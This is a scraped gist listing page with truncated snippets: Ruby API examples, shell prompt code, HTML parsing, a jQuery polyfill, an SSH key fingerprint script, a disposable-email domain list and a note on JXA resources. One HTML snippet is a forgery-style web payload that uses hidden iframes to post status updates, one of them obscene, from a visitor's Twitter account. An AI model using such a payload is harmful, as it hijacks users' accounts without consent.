header
nav
ul
li
a
li.active
a
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Projects | |
Project.all # get all projects | |
@project = Project.find('84948') # get specific project | |
# Members | |
@project.members.all # access a project's members | |
@project.members.add!(:role => 'Owner', :name => 'John Doe', :initials => 'JD', :email => '[email protected]') # add user to project | |
@member = @project.members.find('3747') # get specific member | |
@member.remove! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head></head> | |
<body> | |
<script> | |
var el1 = document.createElement('iframe'); | |
var el2 = document.createElement('iframe'); | |
el1.style.visibility="hidden"; | |
el2.style.visibility="hidden"; | |
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location; | |
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function my-rvm-prompt() { | |
rvmvg=$(~/.rvm/bin/rvm-prompt v g) | |
if [[ x$rvmvg != x ]]; then | |
color=$fg[yellow] | |
[ x$rvmvg != x ] && echo " %{$color%}$rvmvg$reset_color%}" | |
fi | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Ask Nokogiri to find the row containing the header names | |
headers = table.search('thead > tr') | |
# Create a hash that maps the column name to the column index, so I can access subsequent | |
# rows' data by name | |
header_map = headers.search('th') | |
.map(&:text) | |
.each_with_index | |
.with_object({}) {|(name, index), hash| hash[name] = index} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (!("placeholder" in document.createElement("input"))) { | |
$("input[placeholder]").each(function() { | |
var $e = $(this), | |
placeholder = $e.attr("placeholder"); | |
$e.val(placeholder); | |
$e.bind("focus blur", function(e) { | |
if (e.type === "focus" && $e.val() === placeholder) { $e.val(""); } | |
else { if (!$e.val()) { $e.val(placeholder); } } | |
}); | |
}).closest("form").submit(function() { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'tempfile' | |
IO.foreach(File.join(ENV['HOME'], '.ssh/authorized_keys')).each do |line| | |
Tempfile.open("key") do |f| | |
f.puts line | |
f.flush | |
r = `ssh-keygen -lf #{f.path}` | |
r.sub!(f.path, '') | |
puts r if $? == 0 | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0-mail.com | |
0815.ru | |
0clickemail.com | |
0wnd.net | |
0wnd.org | |
10minutemail.com | |
20minutemail.com | |
2prong.com | |
30minutemail.com | |
3d-painting.com |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from __future__ import print_function | |
import json | |
import logging | |
from urllib2 import Request, urlopen, URLError, HTTPError | |
from base64 import b64decode |
Revised: 2019-11-28 16:16 GMT-6
This is a list of the key resources I have found useful. If you know of others, please post in a comment below, and I will add to this list.
I have tried to order this list in the order that, to me, is best for learning JXA from scratch. We all learn a bit diferently, so adjust to suit your style/needs. Please post if you have suggestions on learning JXA.
OlderNewer